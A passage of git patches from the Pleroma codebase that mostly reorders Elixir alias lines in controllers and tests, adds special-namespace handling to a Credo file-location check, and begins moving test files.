Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.User + alias Pleroma.Web.Plugs.AuthenticationPlug @doc "Verify code or check backup code." @spec verify(String.t(), User.t()) :: diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 10093a806..21f4d43e9 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -12,12 +12,12 @@ defmodule Pleroma.Web.CommonAPI.Utils do alias Pleroma.Conversation.Participation alias Pleroma.Formatter alias Pleroma.Object - alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.ActivityPub.Utils alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.MediaProxy + alias Pleroma.Web.Plugs.AuthenticationPlug require Logger require Pleroma.Constants diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index 1ecb8fda6..752983c3b 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -24,7 +24,7 @@ def feed_redirect(%{assigns: %{format: format}} = conn, _params) when format in ["json", "activity+json"] do with %{halted: false} = conn <- Pleroma.Web.Plugs.EnsureAuthenticatedPlug.call(conn, - unless_func: &Pleroma.Web.FederatingPlug.federating?/1 + unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 ) do ActivityPubController.call(conn, :user) end diff --git a/lib/pleroma/web/masto_fe_controller.ex b/lib/pleroma/web/masto_fe_controller.ex index 8d99f8907..08f92d55f 100644 --- a/lib/pleroma/web/masto_fe_controller.ex +++ b/lib/pleroma/web/masto_fe_controller.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.MastoFEController do use Pleroma.Web, :controller + alias Pleroma.User alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug - alias Pleroma.User plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action == :put_settings) diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index 1c8199504..f3b6b3571 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -15,9 +15,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountController do ] alias Pleroma.Maps - alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Web.Plugs.OAuthScopesPlug - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Builder @@ -29,6 +26,10 @@ defmodule Pleroma.Web.MastodonAPI.AccountController do alias Pleroma.Web.MastodonAPI.StatusView alias Pleroma.Web.OAuth.OAuthController alias Pleroma.Web.OAuth.OAuthView + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Web.TwitterAPI.TwitterAPI plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/mastodon_api/controllers/app_controller.ex b/lib/pleroma/web/mastodon_api/controllers/app_controller.ex index ed2f92fa6..143dcf80c 100644 --- a/lib/pleroma/web/mastodon_api/controllers/app_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/app_controller.ex @@ -5,12 +5,12 @@ defmodule Pleroma.Web.MastodonAPI.AppController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo alias Pleroma.Web.OAuth.App alias Pleroma.Web.OAuth.Scopes alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug action_fallback(Pleroma.Web.MastodonAPI.FallbackController) diff --git a/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex b/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex index ee8cc11ef..61347d8db 100644 --- a/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex @@ -8,8 +8,8 @@ defmodule Pleroma.Web.MastodonAPI.ConversationController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] alias Pleroma.Conversation.Participation - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo + alias Pleroma.Web.Plugs.OAuthScopesPlug action_fallback(Pleroma.Web.MastodonAPI.FallbackController) diff --git a/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex b/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex index fda27f669..503bd7d5f 100644 --- a/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex @@ -5,8 +5,8 @@ defmodule Pleroma.Web.MastodonAPI.DomainBlockController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.DomainBlockOperation diff --git a/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex b/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex index e9fd8630f..f8cd7fa9f 100644 --- a/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.MastodonAPI.FollowRequestController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(:put_view, Pleroma.Web.MastodonAPI.AccountView) plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex index bd6460881..f6b51bf02 100644 --- a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.MastodonAPI.ListController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.Plugs.OAuthScopesPlug @oauth_read_actions [:index, :show, :list_accounts] diff --git a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex index b60d736f7..9586b14bc 100644 --- a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex @@ -6,9 +6,9 @@ defmodule Pleroma.Web.MastodonAPI.MediaController do use Pleroma.Web, :controller alias Pleroma.Object - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.Plugs.OAuthScopesPlug action_fallback(Pleroma.Web.MastodonAPI.FallbackController) plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex index 9ccac3d41..c3c8606f2 100644 --- a/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex @@ -8,8 +8,8 @@ defmodule Pleroma.Web.MastodonAPI.NotificationController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] alias Pleroma.Notification - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.MastodonAPI.MastodonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug @oauth_read_actions [:show, :index] diff --git a/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex b/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex index 9f97bd609..3dcd1c44f 100644 --- a/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/poll_controller.ex @@ -9,9 +9,9 @@ defmodule Pleroma.Web.MastodonAPI.PollController do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug action_fallback(Pleroma.Web.MastodonAPI.FallbackController) diff --git a/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex b/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex index 97d2fea23..322a46497 100644 --- a/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex @@ -7,9 +7,9 @@ defmodule Pleroma.Web.MastodonAPI.ScheduledActivityController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.ScheduledActivity alias Pleroma.Web.MastodonAPI.MastodonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug @oauth_read_actions [:show, :index] diff --git a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex index c60b3dff6..0043c3a56 100644 --- a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex @@ -6,14 +6,14 @@ defmodule Pleroma.Web.MastodonAPI.SearchController do use Pleroma.Web, :controller alias Pleroma.Activity - alias Pleroma.Web.Plugs.OAuthScopesPlug - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web alias Pleroma.Web.ControllerHelper alias Pleroma.Web.MastodonAPI.AccountView alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.RateLimiter require Logger diff --git a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex index ec2605022..08d6c1c22 100644 --- a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex @@ -13,8 +13,6 @@ defmodule Pleroma.Web.MastodonAPI.StatusController do alias Pleroma.Activity alias Pleroma.Bookmark alias Pleroma.Object - alias Pleroma.Web.Plugs.OAuthScopesPlug - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.ScheduledActivity alias Pleroma.User @@ -23,6 +21,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusController do alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI.AccountView alias Pleroma.Web.MastodonAPI.ScheduledActivityView + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.RateLimiter plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex index 834452dd6..7a5c80e01 100644 --- a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex @@ -10,11 +10,11 @@ defmodule Pleroma.Web.MastodonAPI.TimelineController do alias Pleroma.Config alias Pleroma.Pagination + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(:skip_plug, EnsurePublicOrAuthenticatedPlug when action in [:public, :hashtag]) diff --git a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex index ba8eb56fa..2a5c7c356 100644 --- a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex +++ b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex @@ -5,10 +5,10 @@ defmodule Pleroma.Web.MongooseIM.MongooseIMController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.AuthenticationPlug - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.User + alias Pleroma.Web.Plugs.AuthenticationPlug + alias Pleroma.Web.Plugs.RateLimiter plug(RateLimiter, [name: :authentication] when action in [:user_exists, :check_password]) plug(RateLimiter, [name: :authentication, params: ["user"]] when action == :check_password) diff --git a/lib/pleroma/web/o_auth/o_auth_controller.ex b/lib/pleroma/web/o_auth/o_auth_controller.ex index 782617021..d2f9d1ceb 100644 --- a/lib/pleroma/web/o_auth/o_auth_controller.ex +++ b/lib/pleroma/web/o_auth/o_auth_controller.ex @@ -8,7 +8,6 @@ defmodule Pleroma.Web.OAuth.OAuthController do alias Pleroma.Helpers.UriHelper alias Pleroma.Maps alias Pleroma.MFA - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Registration alias Pleroma.Repo alias Pleroma.User @@ -23,6 +22,7 @@ defmodule Pleroma.Web.OAuth.OAuthController do alias Pleroma.Web.OAuth.Token alias Pleroma.Web.OAuth.Token.Strategy.RefreshToken alias Pleroma.Web.OAuth.Token.Strategy.Revoke, as: RevokeToken + alias Pleroma.Web.Plugs.RateLimiter require Logger diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index b058200f1..b044260b3 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -7,13 +7,13 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPubController alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.Endpoint alias Pleroma.Web.Fallback.RedirectController alias Pleroma.Web.Metadata.PlayerView + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Web.Router plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug, diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex index 90c63b4f5..61f4a9bd9 100644 --- a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -8,12 +8,12 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do import Pleroma.Web.ControllerHelper, only: [json_response: 3, add_link_headers: 2, assign_account_by_id: 2] - alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Web.Plugs.OAuthScopesPlug - alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug + alias Pleroma.Web.Plugs.RateLimiter require Pleroma.Constants diff --git a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex index de0bc96c3..6357148d0 100644 --- a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex @@ -11,12 +11,12 @@ defmodule Pleroma.Web.PleromaAPI.ChatController do alias Pleroma.Chat.MessageReference alias Pleroma.Object alias Pleroma.Pagination - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.CommonAPI alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView alias Pleroma.Web.PleromaAPI.ChatView + alias Pleroma.Web.Plugs.OAuthScopesPlug import Ecto.Query diff --git a/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex b/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex index 278616065..df52b7566 100644 --- a/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex @@ -8,9 +8,9 @@ defmodule Pleroma.Web.PleromaAPI.ConversationController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] alias Pleroma.Conversation.Participation - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(:put_view, Pleroma.Web.MastodonAPI.ConversationView) diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex index 110c7ba8c..ae199a50f 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex @@ -7,9 +7,9 @@ defmodule Pleroma.Web.PleromaAPI.EmojiReactionController do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(OAuthScopesPlug, %{scopes: ["write:statuses"]} when action in [:create, :delete]) diff --git a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex index 25a46fafa..0f6f0b9db 100644 --- a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.PleromaAPI.MascotController do use Pleroma.Web, :controller - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(OAuthScopesPlug, %{scopes: ["read:accounts"]} when action == :show) diff --git a/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex b/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex index acaaa127f..632d65434 100644 --- a/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex @@ -7,10 +7,10 @@ defmodule Pleroma.Web.PleromaAPI.ScrobbleController do import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex b/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex index 7419e9a3c..eba452300 100644 --- a/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex @@ -10,8 +10,8 @@ defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationController do alias Pleroma.MFA alias Pleroma.MFA.TOTP - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.CommonAPI.Utils + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(OAuthScopesPlug, %{scopes: ["read:security"]} when action in [:settings]) diff --git a/lib/pleroma/web/plugs/rate_limiter.ex b/lib/pleroma/web/plugs/rate_limiter.ex index 669c399c9..a589610d1 100644 --- a/lib/pleroma/web/plugs/rate_limiter.ex +++ b/lib/pleroma/web/plugs/rate_limiter.ex @@ -67,8 +67,8 @@ defmodule Pleroma.Web.Plugs.RateLimiter do import Plug.Conn alias Pleroma.Config - alias Pleroma.Web.Plugs.RateLimiter.LimiterSupervisor alias Pleroma.User + alias Pleroma.Web.Plugs.RateLimiter.LimiterSupervisor require Logger diff --git a/lib/pleroma/web/twitter_api/controller.ex b/lib/pleroma/web/twitter_api/controller.ex index dc9c41f16..f42dba442 100644 --- a/lib/pleroma/web/twitter_api/controller.ex +++ b/lib/pleroma/web/twitter_api/controller.ex @@ -6,10 +6,10 @@ defmodule Pleroma.Web.TwitterAPI.Controller do use Pleroma.Web, :controller alias Pleroma.Notification - alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.TwitterAPI.TokenView require Logger diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index f97bd4823..9ead0d626 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -11,9 +11,9 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do alias Pleroma.Emoji alias Pleroma.Healthcheck alias Pleroma.Notification - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.WebFinger plug(Pleroma.Web.Plugs.FederatingPlug when action == :remote_subscribe) diff --git a/test/pleroma/web/plugs/authentication_plug_test.exs b/test/pleroma/web/plugs/authentication_plug_test.exs index 2167f2457..af39352e2 100644 --- a/test/pleroma/web/plugs/authentication_plug_test.exs +++ b/test/pleroma/web/plugs/authentication_plug_test.exs @@ -5,10 +5,10 @@ defmodule Pleroma.Web.Plugs.AuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true + alias Pleroma.User alias Pleroma.Web.Plugs.AuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper - alias Pleroma.User import ExUnit.CaptureLog import Pleroma.Factory @@ -118,7 +118,7 @@ test "it returns false when hash invalid" do "psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" assert capture_log(fn -> - refute Pleroma.Plugs.AuthenticationPlug.checkpw("password", hash) + refute AuthenticationPlug.checkpw("password", hash) end) =~ "[error] Password hash not recognized" end end diff --git a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs index 35095e018..92ff19282 100644 --- a/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_authenticated_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.EnsureAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.User + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug describe "without :if_func / :unless_func options" do test "it halts if user is NOT assigned", %{conn: conn} do diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs index a73175fa6..211443a55 100644 --- a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs @@ -6,8 +6,8 @@ defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true alias Pleroma.Config - alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.User + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug setup do: clear_config([:instance, :public]) diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs index 0a2f6f22f..2016a31a8 100644 --- a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -7,10 +7,10 @@ defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do import Pleroma.Factory + alias Pleroma.User alias Pleroma.Web.Plugs.LegacyAuthenticationPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper - alias Pleroma.User setup do user = diff --git a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs index c8944f971..982a70bf9 100644 --- a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs +++ b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.OAuthScopesPlugTest do use Pleroma.Web.ConnCase - alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo + alias Pleroma.Web.Plugs.OAuthScopesPlug import Mock import Pleroma.Factory diff --git a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs index 8467d44e3..a89b5628f 100644 --- a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs +++ b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.SetUserSessionIdPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Web.Plugs.SetUserSessionIdPlug alias Pleroma.User + alias Pleroma.Web.Plugs.SetUserSessionIdPlug setup %{conn: conn} do session_opts = [ -- cgit v1.2.3 From b6eb7997f577c5821f21eb00f623631db2faad0b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 13:56:16 +0300 Subject: special namespaces for phoenix and api_spec --- lib/credo/check/consistency/file_location.ex | 39 +++++++++++++++++++++++++--- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/lib/credo/check/consistency/file_location.ex b/lib/credo/check/consistency/file_location.ex index 5ef17b894..08be2bcf9 100644 --- a/lib/credo/check/consistency/file_location.ex +++ b/lib/credo/check/consistency/file_location.ex @@ -1,3 +1,6 @@ +# Originally taken from +# https://github.com/VeryBigThings/elixir_common/blob/master/lib/vbt/credo/check/consistency/file_location.ex + defmodule Credo.Check.Consistency.FileLocation do @moduledoc false @@ -13,7 +16,15 @@ defmodule Credo.Check.Consistency.FileLocation do """ @explanation [warning: @checkdoc] - # `use Credo.Check` required that module attributes are already defined, so we need to place these attributes + @special_namespaces [ + "controllers", + "views", + "operations", + "channels" + ] + + # `use Credo.Check` required that module attributes are already defined, so we need + # to place these attributes # before use/alias expressions. # credo:disable-for-next-line VBT.Credo.Check.Consistency.ModuleLayout use Credo.Check, category: :warning, base_priority: :high @@ -81,11 +92,31 @@ defp verify_module(main_module, relative_path, params) do expected_file_base(parsed_path.root, main_module) <> Path.extname(parsed_path.allowed) - if expected_file == parsed_path.allowed, - do: :ok, - else: {:error, main_module, expected_file} + cond do + expected_file == parsed_path.allowed -> + :ok + + special_namespaces?(parsed_path.allowed) -> + original_path = parsed_path.allowed + + namespace = + Enum.find(@special_namespaces, original_path, fn namespace -> + String.contains?(original_path, namespace) + end) + + allowed = String.replace(original_path, "/" <> namespace, "") + + if expected_file == allowed, + do: :ok, + else: {:error, main_module, expected_file} + + true -> + {:error, main_module, expected_file} + end end + defp special_namespaces?(path), do: String.contains?(path, @special_namespaces) + defp parsed_path(relative_path, params) do parts = Path.split(relative_path) -- cgit v1.2.3 From e33782455d468a867484e30fdeef4c28c2c2aa01 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 14:11:05 +0300 Subject: updates after rebase --- test/application_requirements_test.exs | 146 ------------------- test/http/tzdata_test.exs | 35 ----- test/pleroma/application_requirements_test.exs | 149 +++++++++++++++++++ test/pleroma/http/tzdata_test.exs | 35 +++++ .../transmogrifier/user_update_handling_test.exs | 159 +++++++++++++++++++++ .../transmogrifier/user_update_handling_test.exs | 159 --------------------- 6 files changed, 343 insertions(+), 340 deletions(-) delete mode 100644 test/application_requirements_test.exs delete mode 100644 test/http/tzdata_test.exs create mode 100644 test/pleroma/application_requirements_test.exs create mode 100644 test/pleroma/http/tzdata_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/user_update_handling_test.exs diff --git a/test/application_requirements_test.exs b/test/application_requirements_test.exs deleted file mode 100644 index 21d24ddd0..000000000 --- a/test/application_requirements_test.exs +++ /dev/null @@ -1,146 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ApplicationRequirementsTest do - use Pleroma.DataCase - import ExUnit.CaptureLog - import Mock - - alias Pleroma.Repo - - describe "check_welcome_message_config!/1" do - setup do: clear_config([:welcome]) - setup do: clear_config([Pleroma.Emails.Mailer]) - - test "raises if welcome email 